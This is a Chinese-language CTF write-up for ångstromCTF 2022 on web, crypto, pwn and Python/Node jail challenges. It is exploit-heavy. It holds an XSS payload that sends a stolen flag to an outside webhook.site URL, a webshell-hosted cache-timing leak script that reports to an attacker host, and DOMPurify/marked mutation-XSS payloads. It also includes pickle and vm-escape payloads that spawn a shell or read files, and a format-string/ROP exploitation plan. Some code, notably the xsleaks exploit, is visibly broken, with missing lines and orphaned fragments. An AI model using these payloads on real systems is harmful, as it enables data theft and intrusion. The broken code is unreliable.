今年和 XxTSJxX 一起打 ångstromCTF 2022，主要解些 web 和 crypto，所以寫些值得紀錄的 writeups。

Web

Xtra Salty Sardines

從題目名稱很明顯知道是 XSS，而他主要的 filter 如下:

app.post("/mksardine", (req, res) => {
    if (!req.body.name) {
        res.status(400).type("text/plain").send("please include a name");
        return;
    }
    // no pesky chars allowed
    const name = req.body.name
        .replace("&", "&amp;")
        .replace('"', "&quot;")
        .replace("'", "&apos;")
        .replace("<", "&lt;")
        .replace(">", "&gt;");
    if (name.length === 0 || name.length > 2048) {
        res.status(400)
            .type("text/plain")
            .send("sardine name must be 1-2048 chars");
        return;
    }
    const id = genId();
    sardines[id] = name;
    res.redirect("/sardines/" + id);
});

可以知道他 replace 的時候只會 replace 第一個 occurrence，所以前面放幾個 &"';<> 之類的字元就能繞過。

&"';<><script>fetch('/flag').then(r=>r.text()).then(t=>(new Image).src='https://webhook.site/5557e219-2121-4cd7-ac96-00b224261be2?flag='+t)</script>

Art Gallery

const express = require('express');
const path = require("path");

const app = express();
const port = Number(process.env.PORT) || 8080;

app.get("/gallery", (req, res) => {
    res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
        res.sendFile(path.join(__dirname, "error.html"))
    });
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

可以知道他能任意 LFI 讀檔，測試一下可已發現它 ../.git/HEAD 存在，所以使用 git-dumper 嘗試將整個 repo 載下來:

git-dumper 'https://art-gallery.web.actf.co/gallery?member=../.git/' art

然後檢查一下 git log 看到有個可疑的 commit，所以

git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
cat flag.txt

// make flag accessible for local debugging purposes only
// also the nginx is at a private ip that isn't 127.0.0.1
// it's not that easy to get the flag :D
app.post("/flag", (req, res) => {
    if (!["127.0.0.1", "::ffff:127.0.0.1"].includes(req.socket.remoteAddress)) {
        res.status(400).type("text/plain").send("You don't get the flag!");
    } else {
        res.type("text/plain").send(flag);
    }
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

這題是個 ssrf 題，目標要想辦法 POST 127.0.0.1:8080/FLAG。不過可以看到它已經擋掉了各種 ip 繞法，還有 dns rebinding 等等的都不能用。不過很容易能發現它可以吃 redirect，所以給個 302 redirect 到 /flag 應該就能過了吧…?

測試一下只會發現它 redirect 之後就變成了 GET request，所以去翻了翻 node-fetch 的 source 可以看到是這幾行在作怪。它遇到 303 或是 301/302+POST 的時候就會強制把 method 改回 GET。不過看到這個地方能知道它把 307/308 也都算在 redirect 的 status code，所以只要弄個 307 或是 308 的 redirect 就能拿 flag 了。

這題是個 jwt 的登入服務，目標是要變成 non restricted user 才能拿 flag。仔細觀察可以知道如果 username 是 toString 或是 valueOf，然後把 password 弄成 undefined 就能繞過 /login，然後 uid 因為是 undefined 所以自然不是 restricted user。不過測試下去就會發現 server 整個沒有回應，這是因為走到那個 branch 時它只呼叫了 res.cookie()，而沒有 res.send() 或是 res.end()，導致它不知道要 write response 回來。這部分我沒有想到怎麼繞，所以只能找其他方法。

另一個點是注意到它有 /delete 可以刪除帳號，但是 jwt 本身不是 session，如果沒有自己加 timestamp 的話都是永久適用的。所以只要使用 deleted user 的 jwt token 去登入就能讓 users.get(res.locals.user.uid) 回傳 {}，然後就能拿到 flag。

從 flag 內容 actf{is_this_what_uaf_is} 也能知道這才是 intended solution，真的是個 UAF。

很直接的一個 sqlite sql injection，但是 db 中根本沒東西。看一下提供的 Dockerfile 可知需要 RCE 才行:

FROM php:8.1.5-apache-bullseye

# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html

RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
    chown -R root:root /var/www/html/abyss &&\
    chmod -R 333 abyss

EXPOSE 80

所以參考了 PayloadsAllTheThings 的 payload 直接寫 webshell 到 /var/www/html/abyss 中 RCE 即可。

這題是個 front end 的題目，不過看不出有 xss 的方法，所以只能 xsleaks 了。雖然從 source 看了出來是要想辦法利用 /s 去設定一些 cookie 達成 xsleaks，但是那個 endpoint 最多只能注入一些 cookie 的 attribute，沒辦法 CRLF injection 之類的。雖然我沒能在比賽中找到正確解法，但是我還是使用了 unintended 的做法解掉了這題。

關鍵在於前面有一題 No Flags? 是有 RCE 的，然後兩題的 domain 分別是 no-flags.web.actf.co 和 sustenance.web.actf.co，所以兩個並沒有被 cache partitioning 分隔。所以使用下方的這個函數去判斷 timing 可以有效的檢查一個 path 是否有被 visit 過:

async function timeurl(u) {
	let start = performance.now()
	await fetch(u, {
		mode: 'no-cors',
		credentials: 'same-origin',
		cache: 'force-cache'
	})
	return performance.now() - start
}

所以就使用 /q?q=actf{a 之類的查詢後它會 redirect 到 /?m=your... 的網址，因為它有固定的格式所以透過判斷是否有 cache 來知道 res.locals.search.includes(query) 的結果。這個是我完整的 exp:

// fetch('https://deelay.me/60000/https://picsum.photos/200/300')
const parsed = new URL(document.currentScript.src)

function rlog(...args) {
	console.log(...args)
	// navigator.sendBeacon(
	// 	parsed.protocol + '//' + parsed.hostname + '/report' + encodeURIComponent(String(args[0])),
	// 	JSON.stringify(args, null, 2)
	// )
	fetch(parsed.protocol + '//' + parsed.hostname + '/report' + encodeURIComponent(String(args[0])),{
		mode: 'no-cors',

		method: 'post'
	})
}

	return new Promise(res => setTimeout(res, ms))
}
async function timeurl(u) {
	let start = performance.now()
	await fetch(u, {

	return performance.now() - start
}

		if(v<mn){
			mn=v;

		urls.push(u)

		ar.push(v)
	}

	// rlog(`done-${q}`,Math.min(...ar),ar)
}

	const params = new URLSearchParams(location.search)
	const chrs = params.get('chrs')

	// for(const c of chrs){
	// 	await test(flag+c)

		const v = await test(prefix+c)
		vals.push(v)
		if(v<mnv){
			mnv=v
			ch = c
		}
	}
	rlog(`result_${prefix}`, prefix + ch,mnv, vals)
	
}

 */


// actf{yummy_sustenance}

使用方法就是先使用 ngrok 之類的服務讓檔案位置公開可存取，然後利用 No Flags? 上的 webshell 建立一個檔案去 include 它，然後 submit https://no-flags.web.actf.co/abyss/zxzx.php?chrs=abcdefghijklmnopqrstuvwxyz_}&prefix=actf{ 之類的網址給 bot 就能在高正確率的情況下取得 prefix 的下個字元。

不過其實這個 unintended 沒有必要使用到 No Flags?，因為 headless Chromium 沒有 cache partitioning!!! 直接使用 ngrok domain 測試也確實能查詢到 cache，真的太神奇了。之前也有個 ctf 出現了這個問題的 unintended。

Cliche

這題簡而蔽之就只有這行 js 值得看:

document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));

版本是 DOMPurify 2.3.6 和 marked 4.0.14。

它把 marked.parse 和 DOMPurify.sanitize 的順序顛倒了過來，目標是要 XSS 拿 cookie 而已。DOMPurify 很明顯難以直接繞過，因為真能繞過的話等於是找到了 0day，所以關鍵還是怎麼利用 marked 去把 DOMPurify sanatized 的 safe html 重新變回 XSS。

我的思路很簡單，就是想辦法讓 < 出現在不會被解析為 html tag 的地方 (e.g. <style>)，然後利用 markdown 的某些性質讓它跑出該 tag 的內容中，這樣就有機會 xss 了。

我的出發點是利用 [text](link 'title') 會被解析為 <p><a href="link" title="title">text</a></p> 的性質，把 title 換成 <style> 就會變成 <p><a href="link" title="<style>">text</a></p>。

此時在 <style> 和 </style> 塞入 < 就不會出事，不過因為 marked 的原因還是會被 escape 掉，所以還是得讓 marked 讓它認為該處是 html 才行: <pre>[text](link '<style>')<</style></pre>。然而這又導致 markdown 不會被解析，所以去讀了 source code 之後知道 heading 會讓 marked 進入 parseInline，可以強制讓 markdown 被解析出來: # <pre>[text](link '<style>')<</style></pre> -> # <pre>[text](link '<style>')<</style></pre>。

下一步是要讓 < 字元變成 xss，一個很明顯的做法是直接讓它用 <img src=1 onerror=alert(1)> 達成，但是會發現這樣會導致 <style> 整個消失。這是因為 DOMPurify 為了避免 mutation xss 會阻擋內容中包含 <[/\w] 的 tag，就算是純文字也一樣。

我繞這個的方式是利用 html comment  再接上 <img> 就能 XSS 了:

# <pre>[text](link '<style>')<!--</style><div id="--><img src=1 onerror=alert(1)>"></div></pre>

會被變成:

<h1 id="text"><pre><a href="link" title="&lt;style&gt;">text</a><!--</style><div id="--><img src=1 onerror=alert(1)>"></div></pre></h1>

而這個 payload 其實還能簡化為:

[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>

而後來我還在 Discord 看到一個比這簡單很多的解法:

<a title="a

<img src=x onerror=alert(1)>">yep</a>

因為 markdown 連換兩行就被當成了 paragraph，導致前半被 <p> 包起來，然後就有後面的 xss 了。

目標就是求 $a \equiv g^e \pmod{p}$ 的 $e$ ，也就是 discrete log。關鍵在於 flag 只有 880 bits，而 $p-1=2^{1024}q$ 。

所以只要把問題化為 $a^q \equiv (g^q)^e \pmod{p}$ ，然後利用 $g^q$ 的 order 只有 $2^{1024}$ 的性質就能簡單求出 $e \bmod{2^{1024}}$ 了。這部分 sage 內建的就能處理了，至於實際上要怎麼算的話可以看 Pohlig–Hellman。

func main() {
	flag := "actf{REDACTEDREDACTEDREDACTED!!}"
	rand.Seed(12345) // the actual seed is not 12345
	// drastically slow down naive brute force
	for i := 0; i < 100000; i += 1 {
		rand.Uint64()
	}
	for i := 0; i < 4; i += 1 {
		fmt.Printf("flag chunk: %d\n", binary.LittleEndian.Uint64([]byte(flag)[i*8:i*8+8])^rand.Uint64())
	}
	gap := 0
	for i := 0; i < 607; i += 1 {
		fmt.Println(rand.Uint64())
		for j := 0; j < gap; j += 1 {
			rand.Uint64()
		}
		gap = (gap + 1) % 13
	}
}

一個 golang 的題目，把 flag 和一些隨機數 xor 了，然後輸出 607 個 output，其中跳過了一些輸出。題目很明顯是要讓我們 predict random 的輸出，所以需要去看 go 的 source code。

它的核心其實就 src/math/rand/rng.go:238-252 的幾行而已:

func (rng *rngSource) Uint64() uint64 {
	rng.tap--
	if rng.tap < 0 {
		rng.tap += rngLen
	}

	rng.feed--
	if rng.feed < 0 {
		rng.feed += rngLen
	}

	x := rng.vec[rng.feed] + rng.vec[rng.tap]
	rng.vec[rng.feed] = x
	return uint64(x)
}

可知它有點像是 LFSR，不過 tap 只取一個，且 tap 本身還會移動。不過這些都不是問題，因為它 rng.vec 也才 607 個 states，將它們設為未知數然後模擬它的輸出就能得到 607 條 linear equation，然後就能解出 states 回推。

不過實際上測試只有在沒跳過任何 states 的時候才有能力回推全部的狀態，但是以這題的情況就已經足夠恢復解密的 output 了。在解的時候還有個小技巧就是把初始 state 設為 100000 次 rand.Uint64() 的狀態會比較簡單，不用吹灰之力就能拿到 xor 的 output 了。

這題有 $c \equiv m^e \pmod{n}$ ，然後它會使用被 flip 三個 bits 的 $d'$ 解密出 $m'=c^{d'} \pmod{n}$ 給你。

因為就三個 bits 被 flip 過，所以有 $d'=d \pm 2^a \pm 2^b \pm 2^c$ 的關係，將它放進原本的等式會變成:

\begin{aligned} m' &\equiv c^{d'} \pmod{n} \\ &\equiv c^{d \pm 2^a \pm 2^b \pm 2^c} \pmod{n} \\ &\equiv m c^{\pm 2^a} c^{\pm 2^b} c^{\pm 2^c} \pmod{n} \end{aligned}

然而這個等式中我們只知道 $m'$ 而不知 $m$ ，所以沒辦法對它做什麼。一個小技巧是把它全部開 $e$ 次方變成:

(m')^e \equiv c (c^e)^{\pm 2^a} (c^e)^{\pm 2^b} (c^e)^{\pm 2^c} \pmod{n}

這樣等式兩邊剩下的未知數就只有 $a,b,c$ 了，不過因為 $0 \leq a,b,c \le 4096$ ，所以直接爆要 $2^3 \times {4096\choose{3}} \approx 2^{36.4}$ 次才行，雖然不至於不行但對 ctf 還是難。

這邊的小技巧是把其中一個 $(c^e)^{\pm 2^a}$ 乘到等式的另一邊:

(m')^e (c^e)^{\mp 2^a} \equiv c (c^e)^{\pm 2^b} (c^e)^{\pm 2^c} \pmod{n}

然後對左邊 $a \in [0, 4096)$ 建表後再爆搜 $b,c$ ，這樣一共 $2 \times 4096 + 2^2 \times {4096\choose{2}} \approx 2^{25}$ 次而已，是能夠爆破完的。這個技巧其實就是 Meet-in-the-middle attack (雖然這題不是真的在 middle…)。

這題是個奇怪的 RSA decryption oracle，decrypt 完之後用 AES CBC 加密才傳回來。因為這題題序有提到兩年前同個 ctf 的 RSA-OTP，所以查到了這個 writeup，另外在 Discord 中也有找到原題作者的 script。

那題概念上就是透過知道 $c^d \pmod{n}$ 的 bit length 去判斷長度，所以這樣就等同有個 $am < n$ 的 oracle，透過二分搜 $a$ 就能回推 $m$ 。

這題因為 padded 的長度也是會跟著原本的 bit length 變化，所以也能用類似的概念去弄。從 padding 可以知道如果回傳的長度小於 272 的話就代表它 $am < B = 2^{8 \times 255}$ ，然後就以這個概念開始 binary search。

不過會遇到的問題是這題的 $m$ 有 200 多 bytes，所以 $a$ 很小，除過去也只能拿到 flag 的前面一些 bits 而已。我這邊是參考原作者的 script 發現到它如果乘上一些更大的數字時會出現 wrap over，就是 $(am \bmod{n}) < B$ 。

把 $\bmod$ 改寫就變成 $am - kn < B$ ，在知道 $m$ 的 top bits 的情況下是能估計 $k = \lfloor{\frac{am}{n}}\rfloor$ ，然後繼續二分搜即可。不過這還需要有個好方法可以找到 wrap over 的下個 $a$ 的範圍，所以我的解法相當的 manual:

這題用 IDA decompile 後如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+0h] [rbp-440h] BYREF
  unsigned int i; // [rsp+4h] [rbp-43Ch]
  __gid_t rgid; // [rsp+8h] [rbp-438h]
  int v6; // [rsp+Ch] [rbp-434h]
  char format[64]; // [rsp+10h] [rbp-430h] BYREF
  char buf[1000]; // [rsp+50h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+438h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("Welcome to blairuber!");
  printf("Name: ");
  __isoc99_scanf("%49s", format);
  for ( i = 0; (int)i <= 3; ++i )
    printf("%d) %s - %s\n", i, (&drivers)[i], (&desc)[i]);
  printf("Pick your driver: ");
  v3 = 0;
  __isoc99_scanf("%d", &v3);
  getchar();
  if ( v3 > 4 )
  {
    puts("Not enough drivers! Sorry.");
    exit(1);
  }
  sleep(3u);
  printf("Hi, this is %s your driver. Get in!\n", (&drivers)[v3]);
  sleep(3u);
  printf("So... tell me a little about yourself: ");
  v6 = read(0, buf, 0x3E7uLL);
  buf[v6] = 0;
  puts("Hmm, very interesting!");
  sleep(3u);
  printf("Well we're here. Bye, ");
  printf(format);
  puts("!");
  exit(0);
}

主要就兩個洞，一個是 v3 可以放負值去 oob 讀值，另一個是 format string。

oob 的話我是用 -1，因為 drivers-1 的地方是 __dso_handle，從 gdb 可以看到它指向它自身，所以可以 leak 出 text address。

再來是要利用 format string，這題小麻煩的地方是你需要先讀 format string 後才能 leak address，leak 完之後再讓你放 stack buffer，最後才 call printf 之後直接 exit。這代表寫入的 address 雖然可以自己決定，但是寫入的值必須預先決定好才行。

我的想法是蓋 exit@got 回 main，不過會發現這題雖然 GOT 可寫但全部的 function 早就已經變成 libc 的 address，這應該是 No RELRO 的效果 (和 Partial RELRO 不同)。但是既然要先決定好寫入的值就代表只能 partial overwrite，觀察了一下我覺得透過 partial overwrite exit@got 到 one gadget 不太可行，所以就放棄了這條路。

後來卡了一段時間才想到去蓋掉 fini_array 中的 __do_global_dtors_aux，因為兩個同屬 text section 所以可以 100% 成功率的把它變成 main，這樣就能變成 loop。因為第一輪就用 leak text, 用 format string 蓋 fini_array 的同時 leak libc 出來。

之後第二輪就要想辦法從 format string 拿 shell，這次有 libc 了所以應該可以寫 one gadget 到 exit@got，但是測試了幾個 one gadget 都發現 constraint 不合，沒一個能用 == (主要好像是使用 fini_array 會動到 r15，讓它變得不是 0，也讓很多條件無法滿足)。

後來想到的作法是發現 buf 其實很大，是足夠寫 rop chain 的。然後 libc 中也有很多 ret 0x?? 或是 add rsp, 0x??; ret 之類的 gadget 能用，把它 exit@got 寫成其中之一並算好 offset 就能讓它 stack 正好跑到 buf 的 rop chain 上，然後就能 rop get shell。

這題是 splitline 解的，不過我覺得很好玩所以還是紀錄一下

#!/usr/local/bin/python3

import pickle
import io
import sys

module = type(__builtins__)
empty = module("empty")
empty.empty = empty
sys.modules["empty"] = empty


class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "empty" and name.count(".") <= 1:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("e-legal")


lepickle = bytes.fromhex(input("Enter hex-encoded pickle: "))
if len(lepickle) > 400:
    print("your pickle is too large for my taste >:(")
else:
    SafeUnpickler(io.BytesIO(lepickle)).load()

這題就給一個 empty 的 module，然後允許你 property access 最多一個 dot 而已。概念上就是想辦法 empty.__class__.__base__.__subclasses__ 這樣拿，就像一般 pyjail 一樣而已。

可是這樣會導致 name.count('.') 超過限制，解決方法就是利用 BUILD 讓他直接在 empty 上 assign 東西，例如 empty.x=empty.__class__.__base__，然後再 empty.x.__subclasses__ 這樣拿即可。

至於生 payload 的話根本不用自己弄，只要使用同樣是來自 splitline 的 python to pickle compiler: Pickora，然後用裡面的 macro 直接生成就很簡單了。

這個是原版 payload:

_empty = GLOBAL("empty", "empty")
_empty.base = GLOBAL("empty", "__class__.__base__")
_empty.classes = GLOBAL("empty", "base.__subclasses__")()
_empty.wrapclose = GLOBAL("empty", "classes.__getitem__")(138)
_empty.init = GLOBAL("empty", "wrapclose.__init__")
_empty.globals = GLOBAL("empty", "init.__globals__")
GLOBAL("empty", "globals.__getitem__")("system")("sh")

# actf{__i_miss_kmh11_pyjails__}

然後這是我自己練習弄的，除了改為使用最後一個 class 以外基本上是一樣的，好處就是可以跨版本使用:

e = GLOBAL("empty", "empty")
e.x = GLOBAL('empty','__class__.__base__')
e.x = GLOBAL('empty','x.__subclasses__')()
GLOBAL('empty','x.reverse')()
e.x = GLOBAL('empty','x.__getitem__')(0)  # _Unpickler
e.x = GLOBAL('empty','x.__init__')
e.x = GLOBAL('empty','x.__globals__')
e.x = GLOBAL('empty','x.__getitem__')('__builtins__')
e.x = GLOBAL('empty','x.__getitem__')('exec')('import os;os.system("cat /flag.txt")')

另外其實原題的 empty.empty = empty 是多餘的，根本不用 recursive module 也能解。關鍵是用改用 empty.__setattr__ 去設定 attribute 就行了，所以有這個 payload:

s = GLOBAL("empty", "__setattr__")
s("x", GLOBAL("empty", "__class__")("empty"))
s("x", GLOBAL("empty", "x.__class__"))
s("x", GLOBAL("empty", "x.__base__"))
s("x", GLOBAL("empty", "x.__subclasses__")())
GLOBAL("empty", "x.reverse")()
s("x", GLOBAL("empty", "x.__getitem__")(0))
s("x", GLOBAL("empty", "x.__init__"))
s("x", GLOBAL("empty", "x.__globals__"))
s("x", GLOBAL("empty", "x.__getitem__")("__builtins__"))
s("x", GLOBAL("empty", "x.__getitem__")("exec")('import os;os.system("cat /flag.txt")'))

                console.log("Result:");
                console.log(val);
                console.log(
                    "See, isn't the calculator so much nicer when you're not trying to hack it?"
                );
            } catch (e) {
                console.log("your tried");
            }
        } else {
            console.log(
                "Third time really is the charm! I've finally created an unhackable system!"
            );
        }
    }
);

這題是 node.js 的 vm escape 加上繞 regex filter 的題目，vm escape 部分很好處理，就直接利用 {} 拿 foreign 的 Function 去拿 process 解決:

constructor.constructor('return process')().mainModule.require('fs').readFileSync('flag.txt', 'utf-8')

這題難點在於 filter 部分，因為 `'" 三個字元都被禁了所以沒辦法直接弄 string，另外 []. 也擋掉了 property access。

繞 string 的方法是利用 /asd/ regex 在轉換成 string 時會直接變成 '/asd/'，但是它前後的 / 有點麻煩。繞 property access 的話可以使用 with statement，像是 with(constructor)constructor 就能存取到 constructor.constructor，所以兩招合起來使用 with(/asd/)source 就能拿到 'asd' 這個 string。

如果要使用多個 string 的話會遇到 source 被外層的給 shadow 掉的問題，解決辦法是使用 comma operator: with(/str1/)with(s1=source,/str2/)s1+source。

所以全部整合起來之後就能把前面的 vm escape 改寫，變成這樣的 payload:

with(/with(process)with(mainModule)with(require(x))start()/)with(s1=source,/x/)with(s2=source,/repl/)with(s3=source,this)with(constructor)constructor(s2,s1)(s3)

// then input
require('fs').readFileSync('flag.txt','utf-8')

// actf{omg_js_is_like_so_quirky_haha}

不過賽後我才知道還有很多更簡單的解法，使用 unescape 或是 decodeURIComponent 去繞比較簡單，例如:

with(/%28this%2econstructor%2econstructor%28%27return%20this%27%29%29%28%29%2eprocess%2emainModule%2erequire%28%27fs%27%29%2ereadFileSync%28%22%2e%2fflag%2etxt%22%29/)eval(unescape(source))

然侯作者表示 regex 是他忘記擋的，所以 regex 都是 unintended XD。預期解是這個:

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,101,t=116,117,r,110,32,112,r,111,99,101,s=115,s))())with(mainModule)with(require(f(102,s)))readFileSync(f(102,108,97,103,46,t,120,t))
